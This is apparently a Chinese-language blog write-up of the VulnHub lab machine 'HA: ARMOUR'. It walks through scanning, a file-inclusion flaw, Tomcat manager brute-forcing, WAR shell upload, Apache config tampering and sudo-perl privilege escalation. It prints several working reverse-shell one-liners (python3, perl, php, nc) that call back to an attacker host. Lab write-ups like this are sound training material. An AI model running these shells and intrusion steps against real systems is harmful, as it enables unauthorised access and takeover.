VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR
Vulnhub靶场
下载地址:https://www.vulnhub.com/entry/ha-armour,370/
背景:
Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲。猎鹰检查了清单,以下是不负责任的事情:
1.绿巨人护甲 HulkBuster Armour
2.蜘蛛侠盔甲 Spiderman Armour
3.蚁人盔甲 Ant-Man Armour
4.黑豹盔甲 Black Panther Armour
5.钢铁侠盔甲 Iron Man Armour
克劳隐藏所有这些盔甲,现在由您决定。您可以使用渗透技能来恢复全部能力吗?
-史蒂夫·罗杰斯(Steve Rogers)上尉
PS: Klaw有将密码分为三部分并保存在不同位置的习惯。因此,如果您有一些建议,请结合起来继续前进。
首页:

首先进行端口扫描:

存在多个端口开放,依次对65534、80、8080、8009
由于该靶机是在2019年发布的,8009AJP漏洞是2020年公布的,所以尽量不使用。
该AJP漏洞是可以在Tomcat的webapps文件夹下任意文件读取及文件包含(此靶机存在该漏洞)。
尝试连接SSH:192.168.136.177:65534 获取到flag及一个提示。

绿巨人护甲
HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}
Hint 1: TheOlympics
查看80端口,挺简单的没有太多复杂的东西。

进行目录扫描的的同时,查看下源码。

查看源码。

发现armour、69、notes.txt,应该是给的提示吧。
会不会是端口呢,前面没有扫出来,试试UDP扫描

百度下69端口下的服务。

这里是开启的Windows下的tftp服务进行连接,获取notes.txt文件拿到flag。

蜘蛛侠盔甲
Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}
Hint 2: maybeevena
能下载试试能不能上传,但也不知道上传的绝对路径,拿shell也是有阻碍的。

查看目录扫描的结果,发现个file.php

怀疑是文件读取或文件包含,利用bp进行爆破。

发现同样是file。

访问http://192.168.136.177/file.php?file=/etc/passwd

验证下,是文件包含。
http://192.168.136.177/file.php?file=/var/www/html/index.html

利用该文件包含看看能获取到什么,同样利用bp爆破敏感路径。

查找有无敏感信息暴露

最终发现了flag。

蚁人盔甲
Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C}
Hint 3: StarBucks
拼接Hint1、Hint2、Hint 3得:
TheOlympicsmaybeevenaStarBucks
获取到密码,或许就是Tomcat的后台管理密码吧。
ps:在获得两个提示的时候,就去百度了The Olympics maybe even a能获取到完整的一句话。
也尝试登录tomcat,但使用的Starbucks小写的,没成功。
复仇者联盟:无限战争(2018)中的片段,举办奥运会,或者开家星巴克。

利用Msf进行尝试爆破。

用户名不对,记得前面有获取到/etc/passwd。将里面的armour及aarti加入用户名。
同时该Web页面的单词也少,就那么几个。

再次爆破,成功获取到账号。

利用Tomcat的war部署获取shell。

将下面的jsp文件打包成war包上传,从而反弹shell。

获取到Tomcat权限的shell。

查看了下Tomcat所在的文件夹,
前面有思路就是直接利用文件包含读Tomcat的配置文件获取密码。

在文件包含那个点,有输入过正确的路径,只是没有权限,所以没有成功获取。

看下sudo -l 和 find / -user root -perm -4000 -print 2>/dev/null

lsb_release -a 查看发行版本
uname -a 查看内核

netstat -tunlp 查看网络

有个本地的8081端口,在/下无权限。

切换到/tmp下尝试。

获取到flag。

黑豹盔甲
Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}
还剩最后一个提权的flag,但目前的tomcat权限下无法提权。
发现/var/www/html文件夹的权限是777。

利用下Apache反弹个shell试试。
利用tomcat在/var/www/html下建立反弹shell的nc.php。

没有回显。

查看权限,给个读权限。


反弹shell,权限

也没有获取root或home用户权限,但应该是从这个点获取shell,毕竟/var/www/html默认不是777权限。
那能不能改变Apache的上线用户呢,查看下Apache的配置文件看看及有无修改权限。
先用find来找下有无特意则为777权限的文件,默认是不会存在的。
find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null

发现了Apache的配置文件及Tomcat的用户管理文件,剩下的就是我前面利用文件包含的遗留文件。
查看cat /etc/apache2/apache2.conf

根据设置转到cat /etc/apache2/envvars,发现了上面获取到的shell用户www-data。

尝试修改,无权限。

那就在/etc/apache2/apache2.conf下将修改:
User ${APACHE_RUN_USER}
Group ${APACHE_RUN_GROUP}
修改为:
User root
Group root
修改后要重启Apache,www-data重启Apache没有反应,这里只能重启的服务器
(正常应该是不能重启服务器的,可能存在更优解)

改为root后Apache无法运行,只能利用Tomcat权限的shell将root改为armour。

这里利用python3反弹交互式shell
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.136.1",3418));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

sudo -l和suid都没有可以利用的提权点。
将/etc/apache2/apache2.conf配置里的user及group改为aarti找下有无提权点。
还是只能重启服务器(这个点确实有点问题)
利用nc.php重新反弹。

这里换下利用反弹交互式shell的方式
perl -e 'use Socket;$i="192.168.136.1";$p=3418;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
新建一个监听接收反弹,反弹成功

反弹交互式shell有多种方法:这里介绍本靶机能够利用的
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.136.1",3418));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
perl -e 'use Socket;$i="192.168.136.1";$p=3418;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php -r '$sock=fsockopen("192.168.136.1",3418);exec("/bin/sh -i <&3 >&3 2>&3");'
mkfifo /tmp/kikvf; nc 192.168.136.1 3418 0</tmp/kikvf | /bin/sh >/tmp/kikvf 2>&1; rm /tmp/kikvf
接下来提权sudo perl -e 'exec("/bin/bash -i");'
获取root权限。

进入root文件夹获取flag。

钢铁侠盔甲
IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}
----end

浙公网安备 33010602011771号